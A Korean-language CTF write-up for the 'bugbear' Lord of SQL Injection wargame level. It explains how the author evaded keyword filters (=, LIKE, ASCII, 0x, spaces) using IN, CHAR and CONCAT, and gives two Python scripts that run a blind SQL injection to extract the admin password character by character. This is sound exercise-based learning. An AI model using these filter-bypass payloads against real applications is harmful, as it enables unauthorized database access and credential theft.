이번 문제는 굉장히 어려워 보였다.
그 이유는 이전 문제인 Darkknight 문제와 같은 문제이지만, 풀이에 사용하는 =, LIKE, ascii, 0x를 필터링을 하고 있기 때문이다.

 

문제 풀이를 위해 공격 백터와 공격 백터에 대한 검사를 정리하겠다.

 

공격 백터는 pw와 no가 있다.
pw의 필터링은 '이며, addslashes 함수로 특정 특수 문자를 사용 못하게 치환하고 있다.
no의 필터링은 prob, _, ., (), ‘, SUBSTR, ASCII, =, or, and, 공백, LIKE, 0x이 있다.

 

일단 생각한 방법은 '를 우회할 수 없으니, no를 이용하여 공격를 시도해야할 것 같다.

 

인터넷에 =, LIKE를 대신하여 사용할 만한 것을 찾을 수 있었다. 바로 IN 연산자라는 것이다.
사용하는 방식은 select ~ from ~ where ~ in (값1, 값2, 값3)의 포멧으로 사용 가능하다.
이것들을 풀이하면 select ~ from ~ where ~ = 값1 or ~ = 값2 or ~ = 값3으로 된다.

 

해당 방법을 적용하여 LENGTH 함수를 사용하니, admin의 pw 길이를 구할 수 있었다.

 

이제는 ASCII, 0x를 우회해야하는데 방법은 HEX값이 아닌 다른 인코딩 값을 사용하면 된다.

 

import requests, string, itertools

url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
headers = {'Cookie': 'PHPSESSID=83afd32upgh1209jav5pkl7bcm'}

def pwParser():
    result = ''
    for num in range(1, 8+1):
        for s in string.ascii_lowercase + string.digits + string.punctuation:
            parameter = f"?no=-1||RIGHT(LEFT(pw,{num}),1)IN(CHAR({ord(s)}))"
            res = requests.get(url + parameter, headers=headers)

            if 'Hello admin' in res.text:
                print(f'pw의 {num}번째 값 >>>>', s)
                result += s
                break

    print(result)

pwParser()

나는 CHAR 함수를 이용하여 아스키코드의 10진수를 문자로 변경시켰다.
하지만 이번에도 다른 계정의 pw와 중복되어서 출력이 안된 값이 있었다.

 

찾기 짜증나서 코드를 수정하였다.

 

import requests, string, itertools

url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php'
headers = {'Cookie': 'PHPSESSID=83afd32upgh1209jav5pkl7bcm'}

def pwParser():
    result = ''
    for num in range(1, 8+1):
        for s in string.ascii_lowercase + string.digits + string.punctuation:
            parameter = f"?no=-1||(id)IN(concat(char(97),char(100),char(109),char(105),char(110)))%26%26RIGHT(LEFT(pw,{num}),1)IN(CHAR({ord(s)}))"
            res = requests.get(url + parameter, headers=headers)

            if 'Hello admin' in res.text:
                print(f'pw의 {num}번째 값 >>>>', s)
                result += s
                break

    print(result)

pwParser()


이번엔 where절에 id을 설정하여 pw를 구해줬다.
여기에 사용된 CONCAT 함수는 입력된 값들을 이어주는 함수이다. 이를 이용하여 id의 값을 admin으로 설정하였다.

 

사실 if문의 조건을 ('Hello admin' in res.text) or ('Hello guest' in res.text)로 변경해도 되지만, 근본적인 것을 수정하고 싶었다.

 

값을 서버에 보내면 문제를 Clear할 수 있다.

복사했습니다!